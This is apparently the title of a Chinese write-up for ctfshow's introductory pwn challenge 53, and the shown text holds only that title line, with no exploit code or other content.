ctfshow pwn入门53

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77yM5LuOSURB5Y+N57yW6K+R5Ye65p2l55qE57uT5p6c5Lit5Y+v5Lul55yL5YiwCiAgICBmb3IgYyBpbiByYW5nZSgweEZGKTogIyDku44weDAw54iG56C05YiwMHhGRgogICAgICAgIGlvID0gcHJvY2VzcygiLi9wd24iKQogICAgICAgIHBheWxvYWQgPSBjeWNsaWMoMHgyMCkgKyBjYW5hcnkgKyBwOChjKSAjIOi/memHjHA4KCnmmK/kuIDkuKrlrZfoioIKICAgICAgICAKICAgICAgICBpby5zZW5kbGluZWFmdGVyKCImZ3Q7IiwgIjk5OSIpCiAgICAgICAgaW8uc2VuZGFmdGVyKCIkICIsIHBheWxvYWQpCiAgICAgICAgdGV4dCA9IGlvLnJlY3YoKQogICAgICAgIGlmIGIiRXJyb3IiIGluIHRleHQ6ICMg5aaC5p6c5qCI5rqi5Ye65L+d5oqk5o+Q56S65L+h5oGv5Ye6546wCiAgICAgICAgICAgIHByaW50KGYiWypdIHtjfS97MHhGRn0iKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGNhbmFyeSArPSBwOChjKQogICAgICAgICAgICBwcmludChmIlsrXSB7cDgoYyl9IikKICAgICAgICAgICAgYnJlYWsKICAgICAgICBpby5jbG9zZSgpCnByaW50KGYiY2FuYXJ5OiB7Y2FuYXJ5fSIpCgppbyA9IHByb2Nlc3MoIi4vcHduIikKZWxmID0gRUxGKCIuL3B3biIpCmZsYWcgPSBlbGYuc3ltWydmbGFnJ10KcGF5bG9hZCA9IGN5Y2xpYygweDIwKSArIGNhbmFyeSArIHAzMigwKSAqIDQgKyBwMzIoZmxhZykKCmlvLnNlbmRsaW5lYWZ0ZXIoIiZndDsiLCc5OTknKQppby5zZW5kYWZ0ZXIoIiQgIiwgcGF5bG9hZCkKCmlvLmludGVyYWN0aXZlKCkKYGBgCgrku6PnoIHov5DooYznu5PmnpwKCiFbXShodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8xMTQyMS9iZDZiN2Y1ZGFjMDdlMjBmMzI5ZmZmZDQ1YWZjNzVmNl82NDIxOS5wbmcp